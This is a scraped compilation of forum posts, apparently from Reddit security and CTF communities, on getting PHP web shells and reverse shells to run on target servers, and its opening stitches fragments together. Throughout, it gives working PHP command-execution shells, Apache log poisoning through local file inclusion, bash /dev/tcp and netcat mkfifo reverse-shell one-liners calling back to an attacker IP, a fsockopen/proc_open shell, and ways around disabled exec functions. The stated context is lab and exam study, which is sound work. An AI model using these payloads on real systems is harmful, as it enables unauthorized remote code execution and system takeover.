Just a quick reminder for those trying to use shell_exec on a unix-type platform and can't seem to get it to work.

It doesn’t seem to on the systems that I’ve tested it on (Gentoo Linux only so far). Additionally the PHP script attempts to daemonise itself and dissociate from the parent process to avoid this (though it rarely works in practise). Your browser will appear to hang when you access the reverse shell.

" . shell_exec($_REQUEST['cmd']) . ""; ?> Then send whatever reverse shell will work on the host as an HTTP parameter. eg. http://10.10.10.10/myshell.php?cmd=powershell+-enc+AAAAAAAAA ... You can make this smaller still with no output but it's handy to send cmd=whoami to confirm it's working and get output on your page. I don't hard-code the reverse shell command line into php since it's much nicer to confirm execution, then go one step at a time to get your reverse shell working IMO. The steps I normally go through are to ping my machine while listening for ICMP in tcpdump, then I will test-netconnection with a -port, or upload nc.exe to make sure I can get back to my local machine on a specific port, then I'll work up slowly to a full reverse shell with powershell or a custom msfvenom exe etc.

r/AskNetsec on Reddit: Executing a PHP script (a reverse shell) by calling it through the URL

April 16, 2018 -

I'm stuck trying to get a reverse shell to execute by calling it through a URL.

I have a vulnerable Windows machine, and I've uploaded a PHP reverse shell to it. I've also contaminated the Apache logs with:

<?php echo shell_exec($_GET['revsh']);?>

So the PHP code, and the PHP reverse script are on the machine.

I can run Windows commands via the URL by running: http://192.168.1.8/musiclist.php?name=frank&message=test123&revsh=ipconfig&volume=../../../../../../../usr/local/apache/logs/access.log%00

The above displays the access logs with the output of ipconfig embedded.

My PHP reverse works too. Since it's a test machine, I can navigate to it and click on it. When I do that my nc listener in kali gets a Windows shell. So the shell isn't the problem I don't think.

What I'm struggling with is executing the PHP script from the above URL. I would think I'd just have to replace 'ipconfig' with the path of the PHP script, or something similar. Some of the things I've tried include: revsh="http://192.168.1.8/files/shell.php" (that's where the shell is located) revsh="php-cli http://192.168.1.8/files/shell.php" revsh=../../../../../../files/shell.php

...and other variations.

Perhaps I'm not calling it correctly? Do I need to call a function in the PHP vs. the file itself? Am I not calling the file correctly?

Did you try passing in the php reverse shell file instead of the access.log into the volume parameter that is vulnerable to LFI? If that doesn’t work, you can use your current approach and try to pass in a php or powershell reverse shell one liner into your revsh parameter.

r/tryhackme on Reddit: reverse shell php

September 13, 2023 -

Hi everyone,

I'm wondering about a subject.

Sometimes i have to upload a reverse-shell php. I know somes techniques :

1- Push a <?php system($_GET["cmd"]); ?> and then use whoami . It works, but bash -i >& /dev/tcp/KALI_IP/4444 0>&1 or rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc KALI_IP 4444 >/tmp/f encoded in URL doesn't. I don't understand why

2- I also found <?php php -r '$sock=fsockopen("KALI_IP",4444);exec ("/bin/sh -i <&3 >&3 2>&3");' ?> but i can't say when to use it

3- and the classic https://github.com/Wh1ter0sEo4/reverse_shell_php/blob/main/reverse_shell.php

Someone can help me to understand, when to use each one ?

EDIT :

1- It works (URL encoded) with /bin/bash -c 'bash -i >& /dev/tcp/10.10.10.10/4444 0>&1' and the other one works without changement

2- <?php $sock = fsockopen("KALI_IP", 4444); proc_open('/bin/bash -i', array(0=>$sock, 1=>$sock, 2=>$sock), $pipes>

I also found an amazing tool : https://github.com/WhiteWinterWolf/wwwolf-php-webshell . I will keep it carefully

Hi, I am studying for OSCP and I found Remote File Inclusion vulnerability, but the target host has disabled fsockopen() and exec() functions. Is there any other way how to do reverse shell? Thanks!

Maybe you could try something other that reverse shell. Like listing directories, reading that webapp's source code, reading configs, user files, etc. You could also try using exec alternatives such as system(), passthru(), shell_exec(), popen(),.. if you are dead set on executing from php.
